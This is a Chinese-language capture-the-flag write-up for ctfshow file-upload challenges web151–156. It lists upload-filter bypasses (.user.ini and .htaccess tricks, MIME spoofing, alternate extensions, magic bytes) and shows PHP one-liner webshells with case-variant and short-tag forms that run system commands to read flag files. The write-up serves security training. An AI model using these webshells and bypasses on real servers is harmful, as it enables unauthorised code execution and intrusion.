文件上传
文件上传
本人已知解题方法:
- 前端修改
- .user.ini
1 | auto_prepend_file = 1.png |
.htaccess
1
2
3<FilesMatch "1.jpg">
SetHandler application/x-http-php
</FilesMatch>文件幻术头绕过
1 | jpg对于的前面的16进制字符是 |
- 服务端MIME类型验证(文件内容类型检测)
1 | 当对文件内容有限制时,可以将Content-Type:application/octet-stream等改为: |
后缀绕过
1
2
3
4php: php、 phtml、php3、php4、php5
jsp: jap、jspx、jspf
asp: asa、cer、aspx
ext: exee配合文件包含漏洞
1 | include() |
web151(前台校验)
题目这样写,感觉问题应该是出在前端。那么我们就去看看网页源代码,能找到这样一段
看不太懂问了一下ai,得到这样的解释
只接受PNG格式,那就看看能不能改一下变成接受PHP
ps:网页源代码怎么改:先F12打开开发人员工具,在elements(元素)那里找到需要修改的地方,鼠标右键选择编辑属性就能进行修改了。有的浏览器双击也能改(记录一下防止我下次要改又忘了)
改完之后直接上传一个php文件就行,里面可以写上一句代码
eg:(这个是用get传参的形式)
1 | <?php |
上传成功就可以看到
照着路径,在url那编辑:(路径+get传参(system函数))
find / -name flag.php ——从根目录查询文件名为flag.php的文件。
页面回显出两条路径,都cat一下发现页面回显空白,点开源代码试试,发现有一条路径里能看到flag
或直接
1 | cat ../ flag.php |
web152
看到后端那就不能用上面的方法了,不知道怎么办就先上传图片抓个包。
OK我们现在看到了路径,然后将Content-Disposition中的filename文件后缀改成php,发送得到
接下来就可以通过get传参找到flag.php的路径,cat得到flag。
//151也能这样做其实
web153
用.user.ini方法上传
(似乎是通过kail的dirsearch搜索出upload下面有index.php。
先上传一个随意图片,如之前操作一样抓包,把上传文件改为.user.ini,并加上
1 | auto_prepend_file = 1.png |
//或者新建一个txt,输入
1 | auto_prepend_file = 1.png |
将其改为png形式,直接上传,再修改一下上传文件也是一样的
随便新建一个1.txt,写入一句话木马,例如之前的
1 | <?php eval($_GET[1]);?> |
保存后改文件后缀为1.png(ps:这就是图片马了),再正常地将1.png上传,接下来就可以直接
1 | /upload/index.php?1=system('cat ../ flag.php'); |
flag就出来了。
web154
先是和153一样的做法,但是发现到上传图片马这一步出现了上传失败的提示。
猜测是不是因为图片马的php被处理了,那就换种方式写一下图片马的内容吧
//可以去搜索看看PHP的四种标记风格~
第一步先试试大小写绕过:
1 | <?PhP eval($_GET[1]);?> |
上传成功了耶,然后就直接查flag吧.
(所以与153的区别就是文件马的内容可以稍微改一下,绕过它的处理机制)
web155
同上,四种php风格试一下发现文件马里面要改成使用短标签绕过
1 | <? |
web156
过滤了[],改成{}即可。//像这样